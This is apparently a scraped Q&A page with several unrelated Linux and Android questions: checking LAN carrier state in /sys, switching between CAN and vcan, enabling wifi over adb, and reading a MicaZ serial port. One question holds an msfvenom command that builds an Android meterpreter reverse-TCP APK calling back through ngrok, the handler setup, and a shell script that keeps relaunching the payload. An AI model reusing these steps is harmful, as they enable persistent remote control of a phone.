Check if LAN is plugged - c

i want to check if the LAN cable is plugged in on a linux system, is there any file in /sys or /proc that i can check (i would like to do it in C)?

To check if a cable is plugged you can look in /sys/class/net/
For ex. for eth0 connection:
$ grep "" /sys/class/net/eth0/*
/sys/class/net/eth0/carrier:0
/sys/class/net/eth0/operstate:down
As you can see, cable isn't plugged.
if it was plugged i was getting:
/sys/class/net/eth0/carrier:1
/sys/class/net/eth0/operstate:up

Run the ifconfig command which will show all the interfaces connected.

Related

Connect to ADB with ngrok and reverse tcp

I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.

Switching between can and vcan

I have read the documentation and I know that:
To enable a real can you do
$ sudo ip link set can0 type can bitrate 125000
$ sudo ip link set up can0
and to enable a vcan you do
$ modprobe vcan
$ sudo ip link add dev vcan0 type vcan
$ sudo ip link set up vcan0
In my case, I even disable vcan before enabling can as in
$ sudo ip link set dev vacn0 down
$ sudo ip link set can0 type can bitrate 125000
$ sudo ip link set up can0
My question is how about the opposite? (Going from can to vcan)?
If my can is up , should I disable it before enabling vcan? and how?
and also enabling vcan uses add not set... why?
There is no connection between real CAN network devices and virtual CAN devices, other than they share the same socket interface.
What you've shown here is how you make either kind of CAN device (real or virtual) active and set it up.
How you'd switch between one and the other in your application should be as simple as using one or the other name for the network device.
You can have real CAN and virtual CAN devices available and up at the same time with no concerns.
As for why you need to add your vcan0 device but not to add your real can0 device, the operating system usually detects your CAN hardware and creates the device automatically.
One exception to this is if you're using a CAN-to-serial adapter with slcand, where you would need to run slcand first (and it will create devices named like slcan0):
$ sudo slcand -o -s8 -t hw -S 3000000 /dev/ttyUSB0
$ sudo ip link set up slcan0

How to interface usb wifi dongle to stm32f412

For a RT5370 Media Tek USB wi-fi dongle, after running lsusb -v command on linux, we will get its protocol and class. How to procedure further to implement driver on stm32f412.

what is the key_code to enable or disable wifi via adb for non rooted device

I have a non rooted Samsung device , i want to enable/disable wi-fi settings for my usages via adb.To open wifi for non rooted device via adb i ran below command
adb -s 4d0075754fdb41cd shell am start -n com.android.settings/.wifi.WifiSettings
By default the wifi is coming as diabled , i want to enable/disable it
I tried with Keyevent , however this did not helped much
adb shell input keyevent 22
The wi-fi slider looks like below , i tried with all available key_code .
Can anyone point me a way to get the correct keycode here!!
You can try adb -s $PHONESERIAL shell "svc wifi enable" if you just want to turn on the wifi with adb.
Was already answered here : android adb turn on wifi via adb
You placed appium tag, so if you using appium, try running:
adb -s $device_id shell am broadcast -a io.appium.settings.wifi --es setstatus enable
adb -s $device_id shell am broadcast -a io.appium.settings.wifi --es setstatus disable

Read serial port from micaz

I would like to know if there is a mean to read in a terminal outputs generated by a MicaZ (printf), I tried the command: make login but it doesn't work.
I think that the is no rule login in micaz makefile.
Try command:
sudo cat /dev/ttyUSB1
Before doing this, check that your Micaz is connected through ttyUSB1.
You can check it using command:
ls /dev
If ttyUSB1 is in the list above, it will work.
As far as I remember the MIB510 board, used to program the MicaZ, has two serial ports. One for ISP and the other as a serial console. You might also want to use minicom to be able to fully interact with the serial console. On ubuntu you can install it with sudo apt-get install minicom and is run with minicom -8 -b9600 -D/dev/ttyUSB1 set the baudrate according to your setup.
Here you can find an introduction to minicom.
Good luck!

Resources